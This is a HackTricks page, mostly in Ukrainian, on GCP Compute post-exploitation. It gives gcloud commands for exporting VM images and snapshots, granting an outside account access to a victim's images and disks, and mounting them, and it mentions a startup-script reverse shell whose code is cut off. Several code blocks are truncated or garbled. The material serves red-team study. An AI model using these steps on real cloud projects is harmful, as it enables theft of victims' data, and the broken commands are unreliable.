GCP - Compute Post Exploitation
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Compute
Для отримання додаткової інформації про Compute та VPC (Networking) див.:
Export & Inspect Images locally
Це дозволяє атакуючому доступатися до даних, що містяться в уже існуючих образах або створювати нові образи запущених VMs та отримувати доступ до їхніх даних без наявності доступу до запущеної VM.
Можна експортувати VM image у bucket, а потім завантажити його й змонтувати локально за допомогою команди:
Експорт та завантаження VM image
```bash gcloud compute images export --destination-uri gs://Щоб виконати цю дію, атакуючому можуть знадобитися привілеї над storage bucket і, безумовно, привілеї над cloudbuild, оскільки це сервіс, який буде запитаний для виконання експорту
Крім того, для цього codebuild SA і compute SA потребують привілейованих дозволів.
The cloudbuild SA <project-id>@cloudbuild.gserviceaccount.com needs:
- roles/iam.serviceAccountTokenCreator
- roles/compute.admin
- roles/iam.serviceAccountUser
And the SA <project-id>-compute@developer.gserviceaccount.com needs:
- oles/compute.storageAdmin
- roles/storage.objectAdmin
Export & Inspect Snapshots & Disks locally
It’s not possible to directly export snapshots and disks, but it’s possible to transform a snapshot in a disk, a disk in an image and following the previous section, export that image to inspect it locally
Створити disk із snapshot та image із disk
```bash # Create a Disk from a snapshot gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]Create an image from a disk
gcloud compute images create [IMAGE_NAME] –source-disk=[NEW_DISK_NAME] –source-disk-zone=[ZONE]
</details>
### Перевірка Image під час створення VM
З метою отримання доступу до **даних, збережених в image** або всередині **запущеного VM** з якого зловмисник **створив image,** можливо надати зовнішньому обліковому запису доступ до image:
<details>
<summary>Надати доступ до image і створити VM</summary>
```bash
gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'
і потім створіть нову VM із нього:
Створити VM instance з образу
```bash gcloud compute instances create [INSTANCE_NAME] \ --project=[TARGET_PROJECT_ID] \ --zone=[ZONE] \ --image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME] ```Якщо ви не можете надати вашому зовнішньому акаунту доступ до образу, ви можете запустити VM з цим образом у проєкті жертви та змусити метадані виконати reverse shell, щоб отримати доступ до образу, додавши параметр:
Створити VM з reverse shell у метаданих
```bash --metadata startup-script='#! /bin/bash echo "hello";Переглянути Snapshot/Disk, підключивши його до VM
З метою доступу до даних, що зберігаються в disk або snapshot, ви можете перетворити snapshot у disk, disk у image і виконати попередні кроки.
Або ви можете надати зовнішньому акаунту доступ до disk (якщо точка старту — snapshot, надайте доступ до snapshot або створіть з нього disk):
Надати доступ до disk
```bash gcloud projects add-iam-policy-binding [PROJECT_ID] \ --member='user:[USER_EMAIL]' \ --role='roles/compute.storageAdmin' ```Приєднати диск до instance:
Приєднати диск до instance
```bash gcloud compute instances attach-disk [INSTANCE_NAME] \ --disk [DISK_NAME] \ --zone [ZONE] ```Змонтуйте диск всередині VM:
- SSH into the VM:
SSH into VM і змонтуйте диск
gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
- Визначте диск: Опинившись у VM, визначте новий диск, перелічивши пристрої дисків. Зазвичай його можна знайти як
/dev/sdb,/dev/sdcтощо. - Форматування та монтування диска (якщо це новий або raw диск):
- Створіть точку монтування:
Створити точку монтування та змонтувати
sudo mkdir -p /mnt/disks/[MOUNT_DIR]
- Змонтуйте диск:
Монтування пристрою диска
sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]
Якщо ви не можете надати доступ зовнішньому проекту до snapshot або диска, можливо, вам доведеться pвиконати ці дії всередині екземпляра в тому ж проекті, що й snapshot/disk.
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
HackTricks Cloud

